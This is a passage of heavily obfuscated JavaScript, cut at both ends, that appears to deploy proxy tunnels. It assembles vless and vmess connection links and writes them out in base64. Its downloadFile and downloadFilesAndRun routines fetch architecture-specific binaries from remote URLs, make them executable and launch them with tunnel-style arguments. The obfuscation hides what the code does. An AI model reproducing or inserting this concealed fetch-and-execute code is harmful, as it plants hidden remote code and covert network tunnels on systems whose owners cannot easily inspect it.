_0x362290(_0x57a835-0x86,_0x104c07-0xcf,_0x4cd603,_0x57a835-0x193);}if(_0x3ce64a[_0xab10e8(0x45b,0x3fe,0x548,0x449)](_0x32ec54,_0x437443(0x523,0x624,0x3cd,0x43e))||_0x3ce64a['hIICh'](_0x32ec54,_0x3ce64a[_0x437443(0x46d,0x500,0x543,0x3d2)])||_0x3ce64a[_0xab10e8(0x553,0x4f1,0x48c,0x3c8)](_0x32ec54,_0x3ce64a[_0xab10e8(0x3d4,0x393,0x4fd,0x450)])){if(_0x3ce64a[_0x437443(0x61a,0x5ba,0x64a,0x72c)](_0x3ce64a[_0x437443(0x445,0x3c1,0x2ee,0x5bb)],_0x3ce64a['qcBun']))_0x3ce64a['eNdVi'](_0x27f0cf,()=>{const _0x110508={};_0x110508['v']='2',_0x110508['ps']=''+_0x5c674e,_0x110508[_0x9b43d0(0x631,0x6bf,0x64a,0x73e)]=_0x7f11bc,_0x110508[_0x9b43d0(0x402,0x578,0x623,0x688)]=_0x5eb913,_0x110508['id']=_0x4b818c,_0x110508['aid']='0',_0x110508[_0x58d8b0(0x25c,0x333,0x389,0x26c)]=_0x9b43d0(0x5ac,0x723,0x62a,0x676);function _0x58d8b0(_0x11e1c7,_0x150b9b,_0x35971a,_0x380d18){return _0xab10e8(_0x11e1c7-0x1c4,_0x11e1c7,_0x35971a- -0x1af,_0x380d18-0x5e);}_0x110508[_0x58d8b0(0x387,0x302,0x25a,0x291)]='ws',_0x110508[_0x58d8b0(0x28e,0x20a,0x17c,0x1da)]=_0x3ce64a['htuOo'],_0x110508[_0x58d8b0(0x211,0x1b3,0x1a0,0x1ab)]=_0x4682a5,_0x110508[_0x58d8b0(0x34d,0x2fc,0x281,0x325)]=_0x3ce64a['ysIiE'],_0x110508[_0x9b43d0(0x61b,0x5da,0x4d8,0x6f1)]=_0x9b43d0(0x48b,0x5da,0x69c,0x6a0),_0x110508[_0x9b43d0(0x5c3,0x553,0x49c,0x68b)]=_0x2ad14a,_0x110508[_0x9b43d0(0x6f8,0x641,0x538,0x4fb)]='';function _0x9b43d0(_0x36ffc8,_0x4fd50e,_0x514685,_0x3ac463){return _0x437443(_0x4fd50e-0x97,_0x4fd50e-0x1e2,_0x514685-0x17d,_0x514685);}_0x110508['fp']='firefox';const _0x176127=_0x110508,_0x1975e4=_0x9b43d0(0x3f8,0x482,0x55e,0x4d4)+_0x343113+'@'+_0x5bdab2+':'+_0x339038+(_0x9b43d0(0x5c9,0x45c,0x3d3,0x36f)+_0x58d8b0(0x461,0x324,0x3e7,0x376)+_0x9b43d0(0x66e,0x5f8,0x63f,0x62e)+'sni=')+_0x378475+('&fp=firefo'+_0x58d8b0(0x1fd,0xd5,0x135,0x17b)+_0x58d8b0(0xc9,0x23f,0x122,0x109))+_0x576448+(_0x9b43d0(0x571,0x4a7,0x3ca,0x41a)+_0x58d8b0(0x188,0x2f3,0x1fe,0x31c)+_0x9b43d0(0x623,0x6d6,0x6b1,0x5cd)+'0#')+_0x565a20+_0x9b43d0(0x481,0x57b,0x67b,0x6ec)+_0x467457[_0x58d8b0(0x2ea,0x248,0x33b,0x2c8)](_0x36e07f[_0x9b43d0(0x51e,0x68d,0x6ea,0x6c9)](_0x176127))[_0x58d8b0(0x46d,0x480,0x3f6,0x52a)](_0x9b43d0(0x70a,0x666,0x526,0x5ad))+(_0x58d8b0(0xdb,0x126,0x13c,0xcf)+'/')+_0x2a41f5+'@'+_0x53bb96+':'+_0x1ef7fe+(_0x9b43d0(0x687,0x63d,0x601,0x6a1)+_0x9b43d0(0x710,0x662,0x690,0x615))+_0x3fe740+(_0x9b43d0(0x704,0x630,0x508,0x553)+_0x58d8b0(-0xd,0xbb,0x135,0x1cc)+_0x58d8b0(0x9a,0x50,0x122,0x167))+_0x16d894+(_0x58d8b0(0x30f,0x233,0x270,0x2d2)+_0x58d8b0(0x2bd,0x12d,0x273,0x2db)+_0x58d8b0(0x259,0x256,0x325,0x27b)+'60#')+_0x5f1237+_0x58d8b0(0x4b0,0x29c,0x359,0x390);_0x22bc4a['log'](_0x18375b[_0x58d8b0(0x235,0x306,0x33b,0x3c7)](_0x1975e4)['toString'](_0x3ce64a['GUVnS'])),_0x12b820[_0x58d8b0(0x175,0x225,0x1e0,0x285)+'ync'](_0x55421a,_0x433642[_0x9b43d0(0x717,0x66b,0x592,0x512)](_0x1975e4)[_0x9b43d0(0x72b,0x726,0x898,0x721)](_0x3ce64a[_0x58d8b0(0xdc,0x11c,0x250,0x1f1)])),_0x549855['log'](_0xb7528a+(_0x58d8b0(0x3c9,0x382,0x3cf,0x48d)+_0x58d8b0(0x18b,0x26a,0x278,0x2e9)+'ssfully')),_0x430110=_0x53bc7a[_0x58d8b0(0x1d2,0x354,0x33b,0x438)](_0x1975e4)[_0x9b43d0(0x5c3,0x726,0x5ce,0x76f)](_0x3ce64a[_0x9b43d0(0x63b,0x580,0x613,0x5a6)]),_0x3ce64a[_0x58d8b0(0x1f9,0xf9,0x189,0x24d)](_0x14fcb3),_0x3ce64a['yRaxc'](_0x157920,_0x1975e4);},0x281*-0xe+-0xf6b+-0x2b*-0x15b);else return _0x3ce64a[_0x437443(0x418,0x2b7,0x43d,0x406)];}else{if(_0x3ce64a['hIICh'](_0x437443(0x571,0x63f,0x4fe,0x4ba),_0x3ce64a[_0x437443(0x5d6,0x5ad,0x57a,0x646)])){const _0x280cc9=_0x205caf[_0x437443(0x655,0x5ca,0x53f,0x5d0)](_0x3c1b1c,arguments);return _0x2a6db4=null,_0x280cc9;}else return _0x3ce64a['uTGAj'];}}function downloadFile(_0x20dfbd,_0x1ec1d2,_0x258360){const _0x52be04={'xEeyZ':function(_0x38c24a,_0x1fee61){return _0x38c24a!==_0x1fee61;},'eVpom':'KeADW','iiOQd':function(_0x43653a,_0x2b4915,_0x201825){return _0x43653a(_0x2b4915,_0x201825);},'JJyMJ':_0x1b7ac8(-0x50,0xfc,0xc5,0x111),'WzpzB':_0x1b7ac8(0x17c,0x163,0xd4,0x97),'gEIVr':function(_0x198853,_0x5f4148){return _0x198853(_0x5f4148);},'nWpIM':function(_0x4a8ad8,_0x2c91f4){return _0x4a8ad8===_0x2c91f4;},'DOZDv':_0x1b7ac8(-0x102,-0x19a,-0x137,-0xcc),'VXzSx':function(_0x13ecf5,_0x17784f){return _0x13ecf5(_0x17784f);},'lyhdN':_0x35715c(0x2eb,0x493,0x525,0x44c)};function _0x35715c(_0x3014cf,_0x263f5c,_0x1bd8fc,_0x5d44da){return _0x364cea(_0x3014cf-0x1e8,_0x1bd8fc,_0x5d44da-0x5ef,_0x5d44da-0x1f1);}function _0x1b7ac8(_0x2e6e7a,_0x53b3cb,_0x5265cf,_0x271f9c){return _0x362290(_0x2e6e7a-0x159,_0x53b3cb-0x10b,_0x2e6e7a,_0x5265cf- -0x383);}const _0x463997=_0x20dfbd;if(!fs[_0x35715c(0x47d,0x42f,0x65a,0x511)](FILE_PATH)){if(_0x52be04['nWpIM'](_0x52be04[_0x1b7ac8(0x1fb,0x166,0x136,0x11c)],_0x52be04['DOZDv'])){const _0x3bd272={};_0x3bd272[_0x1b7ac8(0x3a,0x263,0x12f,0xd5)]=!![],fs[_0x35715c(0x3eb,0x3b1,0x449,0x4f3)](FILE_PATH,_0x3bd272);}else _0x1721f9=_0x1b7ac8(-0x93,0xde,-0x84,0x9d)+'dge-ip-ver'+_0x1b7ac8(0x97,0x1d1,0x11a,0x54)+'--no-autou'+_0x1b7ac8(0x293,0x264,0x158,0x1c)+_0x1b7ac8(0x4b,-0xc8,0x5e,-0x1b)+_0x35715c(0x4cd,0x6be,0x5be,0x55d)+'le\x20'+_0x4fd07d+(_0x1b7ac8(0x200,0x42,0xeb,0x53)+'--loglevel'+_0x35715c(0x51a,0x48c,0x526,0x4fa)+_0x35715c(0x51c,0x424,0x46d,0x3fc)+_0x1b7ac8(0x127,-0x5,0xc1,0x2))+_0x548407;}const _0x1b4e28=fs[_0x35715c(0x496,0x587,0x650,0x5fc)+_0x1b7ac8(-0x283,-0xcb,-0x126,-0x28c)](_0x463997);_0x52be04['VXzSx'](axios,{'method':_0x52be04[_0x1b7ac8(0x1b8,0x1c2,0x101,-0x19)],'url':_0x1ec1d2,'responseType':_0x35715c(0x4cb,0x45b,0x579,0x46d)})[_0x35715c(0x4cb,0x6ae,0x40f,0x542)](_0x1aad77=>{const _0x438fb8={'CsNfu':function(_0x3964c0,_0x112a1e){return _0x52be04['xEeyZ'](_0x3964c0,_0x112a1e);},'rUSSi':_0x52be04[_0x47b446(-0x80,-0x150,-0x2bd,-0x9)],'Kadkj':function(_0x5d5255,_0x54aa9f,_0x17f3d1){function _0x597117(_0x30ace6,_0x575073,_0x1fa85e,_0x96c267){return _0x47b446(_0x30ace6-0x1cb,_0x1fa85e-0x3f3,_0x1fa85e-0x1e4,_0x575073);}return _0x52be04[_0x597117(0xac,0x135,0x167,0x9a)](_0x5d5255,_0x54aa9f,_0x17f3d1);}};function _0x47b446(_0x11d1b8,_0x16a3a7,_0x276767,_0x566d78){return _0x1b7ac8(_0x566d78,_0x16a3a7-0x36,_0x16a3a7- -0x1ea,_0x566d78-0x140);}_0x1aad77[_0x54c93a(-0x2a9,-0x16d,-0x14d,-0x298)][_0x47b446(-0x38d,-0x2ef,-0x205,-0x339)](_0x1b4e28),_0x1b4e28['on'](_0x52be04['JJyMJ'],()=>{function _0x2b60a9(_0x290734,_0x26d73e,_0xc3fede,_0x5c8bce){return _0x54c93a(_0xc3fede,_0x26d73e-0x121,_0x290734-0x5f3,_0x5c8bce-0xf1);}function _0x3ba5b6(_0x1a4d1a,_0x49023e,_0x42cc63,_0x4641f1){return _0x54c93a(_0x1a4d1a,_0x49023e-0x77,_0x42cc63-0x1be,_0x4641f1-0x6e);}_0x438fb8[_0x2b60a9(0x56f,0x632,0x6e5,0x423)](_0x438fb8[_0x3ba5b6(0x80,0xdc,0x6,-0x25)],_0x438fb8[_0x3ba5b6(0x153,-0x37,0x6,-0xca)])?_0x1299c7['error'](_0x3ba5b6(0xbe,-0x114,0x3c,0x195)+'g\x20error:\x20'+_0x5466e4):(_0x1b4e28[_0x3ba5b6(0x1fa,0x86,0x1b7,0x1e3)](),console[_0x2b60a9(0x5ee,0x4b6,0x692,0x5fa)](_0x2b60a9(0x4cb,0x4ad,0x501,0x53b)+path[_0x3ba5b6(-0x1a8,0xa6,-0x4f,-0xdc)](_0x463997)+(_0x2b60a9(0x3e5,0x358,0x2ee,0x540)+_0x3ba5b6(0x9b,0x67,0x42,-0xe8))),_0x438fb8[_0x2b60a9(0x409,0x375,0x36f,0x31c)](_0x258360,null,_0x463997));});function _0x54c93a(_0x581777,_0x3bba76,_0x371fed,_0x5820d0){return _0x35715c(_0x581777-0x60,_0x3bba76-0xc,_0x581777,_0x371fed- -0x576);}_0x1b4e28['on'](_0x52be04[_0x54c93a(-0x16c,-0xd8,-0x19b,-0x254)],_0x1696b1=>{fs[_0x5c5fc6(0x4c9,0x4a0,0x37f,0x3c5)](_0x463997,()=>{});function _0x5c5fc6(_0x31040f,_0x32d6c6,_0x128d57,_0xc31e45){return _0x47b446(_0x31040f-0x69,_0x32d6c6-0x667,_0x128d57-0x191,_0x128d57);}function _0xfe2a9b(_0x413dd5,_0x3e7654,_0xe2f73e,_0x22da71){return _0x54c93a(_0x413dd5,_0x3e7654-0x35,_0xe2f73e-0x4b3,_0x22da71-0x10c);}const _0x273567=_0xfe2a9b(0x3b7,0x407,0x38b,0x4ad)+path[_0xfe2a9b(0x271,0x3e8,0x2a6,0x278)](_0x463997)+_0x5c5fc6(0x542,0x5d1,0x461,0x5ca)+_0x1696b1[_0x5c5fc6(0x35c,0x3fb,0x2ce,0x532)];console[_0xfe2a9b(0x41b,0x52b,0x485,0x3e6)](_0x273567),_0x258360(_0x273567);});})[_0x1b7ac8(-0x52,0x176,0x31,-0x91)](_0x153bff=>{function _0x26b762(_0x1e0082,_0x269d96,_0x4edd8c,_0x480145){return _0x35715c(_0x1e0082-0x1d8,_0x269d96-0x13a,_0x269d96,_0x1e0082- -0x34e);}const _0xbd0eb='Download\x20'+path[_0x26b762(0x1b,0x158,-0x24,0x10a)](_0x463997)+_0x1a8935(0x5,0x59,0x102,0xa0)+_0x153bff[_0x26b762(0xa4,0x19a,0x6,-0x8)];function _0x1a8935(_0x52b503,_0x4a74cf,_0x768c95,_0x2b649e){return _0x1b7ac8(_0x2b649e,_0x4a74cf-0xc0,_0x52b503- -0x14f,_0x2b649e-0x84);}console[_0x26b762(0x1fa,0x1b5,0x355,0xea)](_0xbd0eb),_0x52be04['gEIVr'](_0x258360,_0xbd0eb);});}async function downloadFilesAndRun(){const _0x6b507b={'msKlw':function(_0x240342,_0x1acb64){return _0x240342!==_0x1acb64;},'tXUAy':function(_0x37f6a0,_0x22a0d3){return _0x37f6a0(_0x22a0d3);},'QyxCg':_0x20a993(0x38d,0x330,0x3ce,0x32d),'Opmch':'127.0.0.1','FAVRP':'tls','YUawl':_0x991773(-0x4b,0x15d,0x17a,0xbf),'SSGmF':'vmess','GRIed':_0x20a993(0x22d,0x2dc,0x188,0x445),'MOsHl':_0x991773(-0x12c,-0x17,-0x8a,0x3c),'ssjHd':_0x991773(-0x2f,-0x117,-0x22b,-0x193),'SUshs':_0x991773(-0x2b1,-0x1b2,-0x18e,-0x184),'RruIk':'jePMt','mRpoS':'(((.+)+)+)'+'+$','JRIRY':function(_0x2a1e43,_0x2c7de6){return _0x2a1e43===_0x2c7de6;},'pRPWC':_0x991773(-0x13a,-0x12a,0xc2,-0xa4),'VOssC':_0x991773(-0x189,-0x1cb,-0x6e,-0x1d0)+_0x991773(0xf9,0x177,0x102,0xba)+_0x20a993(0x233,0x27a,0x1f6,0x211)+'t','iqBwV':function(_0x275e49,_0x1e41fc){return _0x275e49===_0x1e41fc;},'fgPHp':_0x20a993(0xcc,0x179,0x1e3,0x62)+_0x20a993(0x63,0x131,0x9d,0x134)+'yc.mn/v1','lnDHe':_0x20a993(0x3b9,0x292,0x332,0x3d1),'QgRgR':'text/plain'+_0x991773(-0xec,0x13b,0xec,0x43)+_0x991773(-0xdd,-0x13d,0x75,0x15),'AFixV':_0x20a993(0x348,0x2c2,0x338,0x1a9)+'on\x20content'+_0x991773(0x137,0x145,-0x104,0x64)+'vailable,\x20'+_0x991773(0xad,0x11a,-0x64,0x41)+'\x20again\x20lat'+_0x20a993(0x2b0,0x314,0x270,0x46a),'DWvxD':function(_0x2760e7){return _0x2760e7();},'UPcTj':function(_0x11d128,_0x42a68b){return _0x11d128===_0x42a68b;},'myjkw':_0x991773(-0x92,-0xcc,0x5d,-0x20),'DNqDv':function(_0xa29ff1,_0x141b05){return _0xa29ff1&&_0x141b05;},'RseSj':function(_0xd13fe1,_0x3941c7){return _0xd13fe1===_0x3941c7;},'oPTGm':_0x20a993(0x1ee,0x30f,0x249,0x2c5),'gkCkO':_0x20a993(-0x7d,0x86,0x15a,-0xeb),'wWGgx':_0x20a993(0x3a7,0x2ee,0x330,0x260),'bttjN':_0x20a993(0x1d2,0x18d,0x1ac,0x14f),'OOjDw':'8443','IPdOt':_0x991773(-0x300,-0x1ac,-0x154,-0x1ab),'OyQWb':_0x991773(-0x13e,-0x224,-0x21f,-0x127),'oiZTo':_0x991773(0x2,0xf0,-0xdb,0x8c),'aIHUV':_0x991773(-0xfb,-0x146,-0x22e,-0x198),'OUhqd':_0x20a993(0x1c3,0x25a,0xf8,0x25f)+'l','WwMig':_0x991773(-0x151,-0x73,0xa1,-0xa3),'EcQiB':'--tls','uBHZk':function(_0x3bbe19,_0x108257){return _0x3bbe19===_0x108257;},'cGbqz':'SkRJT','SCtrP':_0x20a993(0x2e8,0x24e,0x3be,0x3a9)+_0x20a993(0x2ba,0x305,0x39a,0x3e4)+_0x991773(0xfa,-0xed,0xab,0x4f)+_0x991773(0x86,-0x187,-0x178,-0x8c),'PHSqR':function(_0x58a12a,_0x532bdc){return _0x58a12a(_0x532bdc);},'VwKDM':_0x991773(0xff,-0x1a,-0xc1,0x7b),'Jftwy':_0x20a993(0x2f6,0x1d1,0xde,0x113),'msFoL':function(_0xa0ae9,_0x22ea26){return _0xa0ae9!==_0x22ea26;},'Ncsue':_0x20a993(0x3a4,0x271,0x20e,0x1a1),'LQSIj':'Ggxpc','NRxRz':function(_0x5465d5,_0x4d5bbb){return _0x5465d5(_0x4d5bbb);}},_0x418935=_0x6b507b[_0x20a993(0x76,0x1c8,0x225,0xcd)](getSystemArchitecture),_0x246ea4=_0x6b507b['tXUAy'](getFilesForArchitecture,_0x418935);if(_0x6b507b['UPcTj'](_0x246ea4[_0x20a993(0x6f,0x13d,0x283,0x42)],0x5*0x7b5+0x10ed+-0xe5*0x3e)){console['log'](_0x20a993(0x2cb,0x2bd,0x3f2,0x174)+_0x991773(-0x225,-0x1fb,-0x147,-0x1b5)+_0x20a993(0x89,0x16b,0x294,0x1db)+'ent\x20archit'+_0x991773(-0x17,0x83,-0x8a,-0x26));return;}const _0x431b20=_0x246ea4[_0x20a993(0x254,0x20a,0x14c,0x15d)](_0xa47170=>{const _0x332713={'BtsyE':function(_0x1eb017,_0x10bce1){function _0x65dfc5(_0xffb04,_0x1fe7fe,_0x30e9e9,_0x3e6fef){return _0x5847(_0x1fe7fe-0x292,_0x3e6fef);}return _0x6b507b[_0x65dfc5(0x498,0x4c9,0x38d,0x52e)](_0x1eb017,_0x10bce1);},'AcpXJ':function(_0x407d8e,_0x28beef){return _0x6b507b['tXUAy'](_0x407d8e,_0x28beef);},'UIpjp':function(_0x4aac48,_0x4b0031,_0x51f0c4,_0x49ecc3){return _0x4aac48(_0x4b0031,_0x51f0c4,_0x49ecc3);}};return new Promise((_0xb80441,_0x3849d8)=>{function _0x5c3c64(_0x1aa691,_0x485e97,_0x824b3b,_0x9398cd){return _0x5847(_0x1aa691-0x3e5,_0x485e97);}function _0x4c29eb(_0x27e515,_0x47e10c,_0x5810e2,_0x1e48b9){return _0x5847(_0x27e515-0x39f,_0x5810e2);}const _0x272cf8={'mGQle':function(_0x4fe401,_0xa5662){function _0x166301(_0x52e920,_0x42790e,_0x5b601f,_0x41d455){return _0x5847(_0x52e920- -0x1,_0x41d455);}return _0x332713[_0x166301(0x29e,0x1be,0x351,0x38f)](_0x4fe401,_0xa5662);},'FwlQs':_0x5c3c64(0x66d,0x7e3,0x70d,0x697),'bRvFO':function(_0x362ac3,_0xccb3ce){return _0x332713['AcpXJ'](_0x362ac3,_0xccb3ce);},'bvoMm':function(_0x5cee72,_0xee0156){return _0x5cee72(_0xee0156);}};_0x332713[_0x5c3c64(0x660,0x68c,0x58b,0x4fd)](downloadFile,_0xa47170[_0x5c3c64(0x718,0x67f,0x7cc,0x6c0)],_0xa47170['fileUrl'],(_0x2d7c5e,_0x20fe8d)=>{function _0x468b24(_0x584f90,_0x16dc0a,_0x157faa,_0x28b90e){return _0x5c3c64(_0x584f90- -0x327,_0x16dc0a,_0x157faa-0x1af,_0x28b90e-0x1a5);}function _0x451269(_0x1dfd37,_0x13e0a8,_0x2eea43,_0x5a7d6d){return _0x5c3c64(_0x13e0a8- -0x5b5,_0x1dfd37,_0x2eea43-0x134,_0x5a7d6d-0x162);}_0x272cf8['mGQle'](_0x468b24(0x3cb,0x3e1,0x45c,0x2ab),_0x272cf8[_0x468b24(0x26d,0x279,0x1a1,0x203)])?_0x2d7c5e?_0x272cf8[_0x451269(0x33,0xe0,0x20d,0x92)](_0x3849d8,_0x2d7c5e):_0x272cf8['bvoMm'](_0xb80441,_0x20fe8d):_0x132571[_0x468b24(0x3a0,0x506,0x2ec,0x23e)](_0x468b24(0x16e,0x183,0x129,0x128)+'n\x20connect\x20'+'to\x20tunnel,'+_0x451269(-0x27,-0x74,-0xe0,-0xac)+'t\x20'+_0x1d1209+(_0x451269(0x2cd,0x188,0x2e9,0x22e)+_0x468b24(0x330,0x3cf,0x1f5,0x2ba)));});});});try{if(_0x991773(-0x199,0x23,0x2,-0x6e)!==_0x6b507b[_0x20a993(0x7a,0x146,0x17f,0x228)])await Promise[_0x20a993(0x15a,0x2a4,0x3d2,0x3f9)](_0x431b20);else{if(_0x3cf4d7){const _0x54db10=_0x41ac3a['apply'](_0x29d4a5,arguments);return _0x407553=null,_0x54db10;}}}catch(_0x276ecc){console[_0x20a993(0x3ef,0x2a0,0x403,0x1fb)](_0x20a993(0x20a,0x12e,0x190,0x266)+'loading\x20fi'+_0x20a993(0x1ef,0xc5,-0x89,0xf9),_0x276ecc);return;}function _0x991773(_0x53df11,_0x53b7b5,_0xbbf2bd,_0x54edbe){return _0x362290(_0x53df11-0x136,_0x53b7b5-0x9,_0xbbf2bd,_0x54edbe- -0x434);}function _0x3d200f(_0x155d7b){function _0x21fbf3(_0x3c7dae,_0x4d3a1c,_0x581453,_0x15c571){return _0x991773(_0x3c7dae-0x1b8,_0x4d3a1c-0x1a,_0x4d3a1c,_0x581453-0x474);}const _0xc85e2e={};function _0x27965c(_0x590962,_0x39e242,_0x32a54d,_0x17493d){return _0x991773(_0x590962-0x199,_0x39e242-0x128,_0x17493d,_0x590962-0x22c);}_0xc85e2e[_0x21fbf3(0x458,0x46a,0x3ea,0x3db)]=function(_0x295d13,_0x16e540){return _0x295d13===_0x16e540;},_0xc85e2e[_0x27965c(0xed,0x1b,-0xf,-0x9)]=_0x6b507b[_0x21fbf3(0x582,0x609,0x4a9,0x5b2)],_0xc85e2e[_0x27965c(0x39,0xf1,-0x93,0x1ad)]=_0x21fbf3(0x36e,0x386,0x3d3,0x2fd)+'o',_0xc85e2e[_0x27965c(0xbe,0x21b,0x21a,0x1a5)]=_0x6b507b[_0x21fbf3(0x336,0x34c,0x295,0x332)],_0xc85e2e[_0x27965c(0x164,0x8e,0x1e,0x9e)]=_0x6b507b[_0x27965c(0x191,0x1e1,0x2c,0x1f8)],_0xc85e2e[_0x21fbf3(0x48f,0x23a,0x331,0x382)]=_0x6b507b[_0x21fbf3(0x528,0x4a4,0x448,0x3ab)],_0xc85e2e[_0x27965c(0x95,0xfa,0x167,0x1a1)]=_0x6b507b[_0x21fbf3(0x4d4,0x4b3,0x39f,0x331)],_0xc85e2e[_0x27965c(0xce,0x22b,0x19d,-0x79)]=_0x6b507b[_0x27965c(0x19a,0x174,0x166,0x271)],_0xc85e2e[_0x21fbf3(0x449,0x465,0x3af,0x333)]=_0x6b507b[_0x21fbf3(0x5ab,0x5f7,0x4bb,0x4a4)],_0xc85e2e[_0x27965c(0x8f,-0x57,0xbb,0xe8)]=_0x6b507b['ssjHd'],_0xc85e2e[_0x27965c(0xd8,-0x3b,-0x20,0x17c)]=_0x6b507b['SUshs'],_0xc85e2e[_0x21fbf3(0x3df,0x2be,0x2c4,0x2d5)]='EAlSY',_0xc85e2e[_0x27965c(0x15b,0x66,0x2b7,0x136)]=_0x6b507b[_0x27965c(0x4e,0x7,0x15e,-0x117)];const _0x427c37=_0xc85e2e,_0x34cc7d=0x29b*0xa+-0x94c+-0xec5;_0x155d7b[_0x27965c(0x2a0,0x2a9,0x1a5,0x1cb)](_0x439a6f=>{function _0xd5944e(_0x19622d,_0x4e5d03,_0x2315f3,_0x3a4228){return _0x21fbf3(_0x19622d-0x111,_0x19622d,_0x4e5d03-0x51,_0x3a4228-0x9b);}function _0x1b036b(_0x3081a1,_0x4f4ddb,_0x134f17,_0x24a348){return _0x27965c(_0x3081a1-0x19e,_0x4f4ddb-0xbf,_0x134f17-0x96,_0x134f17);}const _0x439341={'ykkZC':function(_0x3fe487,_0x120c69){function _0x4a48c9(_0x5a0770,_0x532497,_0x477611,_0x57cc03){return _0x5847(_0x477611-0x132,_0x5a0770);}return _0x427c37[_0x4a48c9(0x339,0x3ae,0x33e,0x1d7)](_0x3fe487,_0x120c69);},'qKXaX':_0x1b036b(0x447,0x39a,0x33a,0x455),'NoKfZ':function(_0x471adc,_0x4ff838){return _0x471adc===_0x4ff838;},'JMDie':_0x427c37['Gndoc'],'ahVGQ':_0x427c37['KCebE'],'MIVJx':_0x1b036b(0x468,0x3a7,0x355,0x55d),'etnnd':_0x427c37[_0x1b036b(0x25c,0x364,0x28d,0x104)],'XYADQ':_0x427c37['hxIYQ'],'bVdVt':_0x427c37[_0x1b036b(0x287,0x1fa,0x293,0x3a0)],'AiCNN':_0x427c37[_0xd5944e(0x301,0x32e,0x25a,0x221)],'UDWJd':_0x1b036b(0x43d,0x4ad,0x46f,0x3dc),'PrvCE':_0x427c37['OGaaa'],'vaEOP':_0x427c37[_0x1b036b(0x305,0x328,0x310,0x3f9)],'Tmnxe':_0x427c37[_0xd5944e(0x37f,0x328,0x384,0x2f5)],'lFGBj':_0x427c37[_0xd5944e(0x24f,0x371,0x370,0x48f)],'NJLVo':function(_0xb0a69c,_0x5b04ed){function _0x3d080d(_0xa5aa0b,_0x28f64e,_0x159117,_0x23feb1){return _0x1b036b(_0x159117-0x259,_0x28f64e-0xa1,_0xa5aa0b,_0x23feb1-0x10b);}return _0x427c37[_0x3d080d(0x673,0x655,0x599,0x695)](_0xb0a69c,_0x5b04ed);},'FQRaW':_0x427c37[_0x1b036b(0x21a,0x13b,0xe6,0xb6)],'QShih':_0x427c37[_0xd5944e(0x49f,0x3f4,0x44e,0x309)]};fs[_0x1b036b(0x3b6,0x522,0x261,0x486)](_0x439a6f)&&fs[_0x1b036b(0x242,0x172,0x2f0,0x219)](_0x439a6f,_0x34cc7d,_0x5c11c9=>{const _0x2fe4ee={'mgUYt':function(_0x584678,_0x4c66a4){return _0x584678===_0x4c66a4;},'ITBOT':'arm','gXxXi':function(_0x688bfe,_0x52d1a3){return _0x439341['ykkZC'](_0x688bfe,_0x52d1a3);},'tognZ':_0x439341[_0x4f4405(0x7a,-0x70,0x53,0x5d)],'Cdsyb':function(_0x400c3f,_0x5d0415){return _0x439341['NoKfZ'](_0x400c3f,_0x5d0415);},'AhqML':'amd','tjQdt':_0x439341[_0x11bd5e(0x5f6,0x668,0x611,0x7df)],'TZVfE':_0x11bd5e(0x643,0x687,0x6eb,0x69c),'YCDML':_0x4f4405(0x1aa,0x28a,0x2a5,0x2af)+'vision','FJFYP':_0x439341[_0x4f4405(0x6c,0x179,0x44,0x112)],'lZhSb':_0x4f4405(0x8e,-0x42,0x9c,0x1ea)+'o','CQXrh':_0x439341['MIVJx'],'UZKdW':_0x439341[_0x11bd5e(0x592,0x523,0x5bf,0x400)],'ZByUK':_0x439341[_0x11bd5e(0x557,0x527,0x401,0x465)],'NuhKH':_0x439341['bVdVt'],'xThBq':_0x439341['AiCNN'],'LSgLY':_0x439341[_0x4f4405(0x24,-0x7c,-0x146,0x184)],'SFZVx':_0x439341['PrvCE'],'gspjg':_0x4f4405(-0x75,0x4,-0x3c,-0x1a4)+_0x11bd5e(0x540,0x515,0x39e,0x3c5)+'8/dns-quer'+'y','XsSUZ':_0x439341['vaEOP'],'NqAzy':_0x439341['Tmnxe'],'aguUy':_0x439341[_0x4f4405(0x12,-0xa2,0xbf,0x25)]};function _0x11bd5e(_0x4d9c20,_0x2e797c,_0xa88685,_0x1f8421){return _0x1b036b(_0x2e797c-0x202,_0x2e797c-0xae,_0x1f8421,_0x1f8421-0xd2);}function _0x4f4405(_0xe3c866,_0x29226f,_0x1a9782,_0x3dd5a1){return _0xd5944e(_0x1a9782,_0xe3c866- -0x336,_0x1a9782-0x1a9,_0x3dd5a1-0x171);}if(_0x439341['NJLVo'](_0x11bd5e(0x3b1,0x4c0,0x49a,0x3a8),_0x11bd5e(0x390,0x4c0,0x5f0,0x593))){if(_0x5c11c9)console['error'](_0x11bd5e(0x3f2,0x4ad,0x5e2,0x4e9)+'t\x20failed\x20f'+_0x4f4405(0x9a,0x15c,0x1c7,0x129)+_0x439a6f+':\x20'+_0x5c11c9);else{if(_0x439341['NoKfZ'](_0x439341[_0x4f4405(0x141,0x70,0x130,0x283)],_0x439341[_0x11bd5e(0x4da,0x3e1,0x338,0x3d9)])){const _0xface03=_0x32f43b['arch']();return _0x2fe4ee['mgUYt'](_0xface03,_0x2fe4ee[_0x11bd5e(0x30a,0x447,0x3df,0x2ea)])||_0x2fe4ee[_0x11bd5e(0x5dd,0x52f,0x59a,0x406)](_0xface03,_0x2fe4ee[_0x11bd5e(0x3e8,0x525,0x5cd,0x67f)])||_0x2fe4ee[_0x11bd5e(0x3e7,0x428,0x35e,0x54d)](_0xface03,'aarch64')?_0x2fe4ee[_0x11bd5e(0x544,0x447,0x366,0x4bf)]:_0x2fe4ee[_0x4f4405(0xc6,0x239,0x1eb,0x95)];}else console[_0x11bd5e(0x5a2,0x618,0x524,0x547)](_0x4f4405(0x70,0x1dd,0x131,-0x103)+_0x11bd5e(0x4eb,0x42b,0x412,0x57a)+_0x4f4405(0x1d5,0x167,0x120,0x15e)+_0x439a6f+':\x20'+_0x34cc7d[_0x4f4405(0x257,0x358,0x2db,0x287)](-0xb*0x301+0x1*0x1652+-0xac1*-0x1));}}else{const _0x16d204={};_0x16d204[_0x4f4405(-0x70,-0x1a2,-0xd1,-0xe0)]=_0x4f4405(0xb9,0x1a7,0x127,0xf4),_0x16d204['error']=_0x4f4405(0xb9,-0x1c,-0x13,-0x70),_0x16d204[_0x4f4405(0x145,0x162,0x8c,0xbe)]=_0x2fe4ee[_0x11bd5e(0x4b1,0x46a,0x3e0,0x4f4)];const _0x24cea3={};_0x24cea3[_0x11bd5e(0x534,0x4c9,0x44f,0x5bc)]=0xbb9;const _0x175799={};_0x175799[_0x4f4405(0xe2,0x157,0x15e,0xfd)]=_0x11bd5e(0x587,0x5ca,0x478,0x653)+'go',_0x175799[_0x4f4405(0x8c,-0xab,-0xb9,0x7a)]=0xbbc;const 